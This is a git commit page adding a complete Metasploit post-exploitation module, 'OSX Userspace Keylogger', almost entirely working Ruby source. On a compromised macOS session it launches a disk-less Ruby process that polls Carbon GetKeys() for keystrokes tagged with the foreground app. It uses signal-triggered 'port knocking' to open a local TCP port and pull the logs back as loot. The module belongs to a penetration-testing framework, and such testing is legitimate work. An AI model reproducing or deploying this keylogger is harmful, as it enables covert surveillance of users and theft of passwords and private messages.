OSX keylogger module finally working.

bug/bundler_fix
Joe Vennix 2013-08-18 16:21:38 -05:00
parent 54af2929f5
commit 1cdf77df7d
1 changed files with 293 additions and 0 deletions

View File

@ -0,0 +1,293 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'shellwords'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
# the port used for telnet IPC. It is only open after the
# keylogger process is sent a USR1 signal
attr_accessor :port
# the pid of the keylogger process
attr_accessor :pid
# where we are storing the keylog
attr_accessor :loot_path
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Userspace Keylogger',
'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]
),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]
),
OptInt.new('LOGPORT',
[ false, 'Local port opened for transferring logs', 22899 ]
)
]
)
end
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
raise "Ruby keylogger command failed with error #{rpid}"
end
end
def run
if session.nil?
print_error "Invalid SESSION id."
return
end
print_status "Executing ruby command to start keylogger process."
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop"
while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{@pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0
if self.loot_path.nil?
self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
)
else
File.open(self.loot_path, 'a') { |f| f.write(log) }
end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}"
end
end
end
rescue ::Timeout::Error
print_status "Keylogger run completed."
end
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def cleanup
return if not @cleaning_up.nil?
@cleaning_up = true
return if session.nil?
if @pid.to_i > 0
print_status("Cleaning up...")
kill_process(@pid)
end
end
def ruby_code(opts={})
<<-EOS
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'
require 'dl'
require 'dl/import'
options = {
:duration => #{opts[:duration]},
:port => #{opts[:port]}
}
#### Patches to DL (for compatibility between 1.8->1.9)
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if ruby_1_9_or_higher?
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
# the old Ruby Importer defaults methods to downcase every import
# This is annoying, so we'll patch with method_missing
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
self.send lower, *args
else
super
end
end
end
end
end
#### 1-way IPC ####
log = ''
log_semaphore = Mutex.new
Signal.trap("USR1") do # signal used for port knocking
if not @server_listening
@server_listening = true
Thread.new do
require 'socket'
server = TCPServer.new(options[:port])
client = server.accept
log_semaphore.synchronize do
client.puts(log+"\n\r")
log = ''
end
client.close
server.close
@server_listening = false
end
end
end
#### External dynamically linked code
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Importer
dlload 'Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = malloc(16)
name = malloc(16)
name_cstr = malloc(MAX_APP_NAME)
keymap = malloc(16)
state = malloc(8)
#### Actual Keylogger code
itv_start = Time.now.to_i
prev_down = Hash.new(false)
while (true) do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
(0...128).each do |k|
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
if not prev_down[k]
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
end
else
prev_down[k] = false
end
end
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
log_semaphore.synchronize do
if ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
else
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
end
end
end
exit if Time.now.to_i - itv_start > options[:duration]
Kernel.sleep(0.01)
end
end
puts child_pid
Process.detach(child_pid)
EOS
end
end